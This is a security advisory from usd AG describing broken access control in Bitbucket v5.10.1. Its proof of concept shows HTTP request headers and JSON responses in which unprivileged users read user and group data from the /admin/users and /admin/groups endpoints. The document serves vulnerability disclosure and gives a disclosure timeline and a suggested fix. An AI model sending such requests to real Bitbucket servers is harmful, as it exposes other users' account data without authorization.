usd-2019-0015 | Bitbucket/v5.10.1
Advisory ID: usd-2019-0015
CVE Number: N/A
Affected Product: Bitbucket
Affected Version: v5.10.1
Vulnerability Type: Broken Access Control
Security Risk: Medium
Vendor URL: https://www.atlassian.com
Vendor Status: Not fixed
Description
Access control, sometimes called authorization, is how a web application grants access to content and functions to some users and not others. These checks are performed after authentication and govern what ‘authorized’ users are allowed to do. Access control sounds like a simple task. However, this is insidiously difficult to implement correctly. A web application’s access control model is closely tied to the content and functions that the site provides. In addition, the users may fall into a number of groups or roles with different abilities or privileges.
Proof of Concept
The endpoints „/admin/users“ and „/admin/groups“ of an bitbucket instance are located in an administrative section, but can be used by unpriviliged users to request userdata saved by the application:
Request:
Host: bitbucket.server
Connection: close
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: BITBUCKETSESSIONID=A96AF1B941A4D22D49878E2FE1B6F2DD
Response:
Cache-Control: no-cache, no-transform
Content-Type: application/json;charset=UTF-8
Date: Tue, 05 Mar 2019 09:14:38 GMT
Connection: close
Content-Length: 1849
{"size":4,"limit":50,"isLastPage":true,"values":[{"name":"Nutzerkennung","id":80947,"displayName":"Usd Pentest 1, Georg","active":true,"slug":"Nutzerkennung","type":"NORMAL","directoryName":"Active Directory […
Same access control issue with the „groups“ endpoint:
Request:
Host: bitbucket.server
Connection: close
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: BITBUCKETSESSIONID=A96AF1B941A4D22D49878E2FE1B6F2DD
Request:
Cache-Control: no-cache, no-transform
Content-Type: application/json;charset=UTF-8
Date: Tue, 05 Mar 2019 09:14:38 GMT
Connection: close
Content-Length: 1849
{"size":2,"limit":50,"isLastPage":true,"values":[{"name":"usd1","deletable":true},{"name":"usd2","deletable":true}],"start":0}
Fix
Protect endpoints, which provide sensitive functionalities, with proper access control.
Timeline
- 2019-03-28 Vulnerability securily submitted to security@atlassian.com
- 2019-04-11 Second contact attempt via contact formular
- 2019-05-23 Atlassian Security Team agreed with the publishment of the advisory
- 2019-07-31 Security advisory released
Credits
This security vulnerabilities were found by Tobias Neitzel and Julian Frey of usd AG.